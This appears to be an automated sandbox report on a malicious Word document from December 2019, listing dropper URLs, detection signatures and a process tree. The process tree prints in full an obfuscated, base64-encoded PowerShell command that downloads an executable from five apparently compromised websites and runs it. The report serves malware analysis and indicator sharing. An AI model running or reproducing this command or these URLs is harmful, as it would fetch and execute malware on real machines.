Analysis
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max time kernel
26s -
resource
win10v191014 -
submitted
13-12-2019 04:13
General
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Target
9733d5680e80c2d5734251678a138c142fd1d60ec6873433b3863acbeacd25a6.doc
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Sample
191213-q7bsp47cna
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SHA256
9733d5680e80c2d5734251678a138c142fd1d60ec6873433b3863acbeacd25a6
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://segurosdominicanos.com/wp-admin/na1v62053/
exe.dropper
http://metolegal.com/wp-admin/x8ryhr88/
exe.dropper
http://haywoodcommunitychurch.org/wp-content/l62635/
exe.dropper
http://moviewordpress.thandarayethein.me/cgi-bin/ffvn69596/
exe.dropper
http://www.nsfund.mn/wp-content/z2zhaf93/
Signatures
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Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4936 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4936 WINWORD.EXE -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4936 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3732 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 3732 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS -
Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4028 wrote to memory of 4472 4028 SppExtComObj.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9733d5680e80c2d5734251678a138c142fd1d60ec6873433b3863acbeacd25a6.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
PID:4936
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4028 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4472
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABNAGEAaABxAGoAdABvAGgAZQBlAHgAPQAnAEcAbQBuAGkAdwBlAGYAZAB1AGYAcgAnADsAJABVAGQAdgBjAGgAYgBjAHoAdAB5ACAAPQAgACcAMQAxADEAJwA7ACQAVgB4AHMAZQBqAGwAZABxAG4AcwBnAGgAcAA9ACcASABxAGcAcgBwAGIAcABvAHIAeAAnADsAJABXAHQAYwBuAGEAdwByAGkAdAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQBkAHYAYwBoAGIAYwB6AHQAeQArACcALgBlAHgAZQAnADsAJABOAHMAdQBxAG8AbAB2AHQAawA9ACcATgByAGoAcQB5AHUAYwBvACcAOwAkAE0AagBuAHMAYQBjAG8AawB5AD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBCAEMATABJAGUAbgBUADsAJABYAGIAZwB6AGcAagBhAG8AZgA9ACcAaAB0AHQAcAA6AC8ALwBzAGUAZwB1AHIAbwBzAGQAbwBtAGkAbgBpAGMAYQBuAG8AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbgBhADEAdgA2ADIAMAA1ADMALwAqAGgAdAB0AHAAOgAvAC8AbQBlAHQAbwBsAGUAZwBhAGwALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHgAOAByAHkAaAByADgAOAAvACoAaAB0AHQAcAA6AC8ALwBoAGEAeQB3AG8AbwBkAGMAbwBtAG0AdQBuAGkAdAB5AGMAaAB1AHIAYwBoAC4AbwByAGcALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbAA2ADIANgAzADUALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHYAaQBlAHcAbwByAGQAcAByAGUAcwBzAC4AdABoAGEAbgBkAGEAcgBhAHkAZQB0AGgAZQBpAG4ALgBtAGUALwBjAGcAaQAtAGIAaQBuAC8AZgBmAHYAbgA2ADkANQA5ADYALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAHMAZgB1AG4AZAAuAG0AbgAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6ADIAegBoAGEAZgA5ADMALwAnAC4AIgBTAFAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUgBtAHAAbABsAGkAdwBnAD0AJwBIAHEAZwBxAHkAdABjAHMAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAeABnAGEAdgB4AGEAZgB4AHoAcwAgAGkAbgAgACQAWABiAGcAegBnAGoAYQBvAGYAKQB7AHQAcgB5AHsAJABNAGoAbgBzAGEAYwBvAGsAeQAuACIARABvAFcATgBgAEwATwBgAEEARABGAEkATABFACIAKAAkAFoAeABnAGEAdgB4AGEAZgB4AHoAcwAsACAAJABXAHQAYwBuAGEAdwByAGkAdAApADsAJABMAGIAdgBxAHMAegBnAGsAcQB1AHAAagA9ACcAVwBmAGUAZQBkAGQAegBuAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABXAHQAYwBuAGEAdwByAGkAdAApAC4AIgBsAEUAYABOAEcAYABUAEgAIgAgAC0AZwBlACAAMgA3ADcANwAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAcgBUACIAKAAkAFcAdABjAG4AYQB3AHIAaQB0ACkAOwAkAEwAdABzAGYAcwBqAHMAdQBvAHAAcgB6AHMAPQAnAEwAcABvAG0AeABsAGIAdQAnADsAYgByAGUAYQBrADsAJABYAHAAcwB1AHkAeQBsAHgAdgBvAG0APQAnAEMAZgBxAGoAcQBnAG8AZQBtAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABvAHgAdgBsAGoAegB6AHEAdQB1AD0AJwBQAHEAZgBjAHgAdwBwAHMAZQBtAGcAaABjACcA1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3732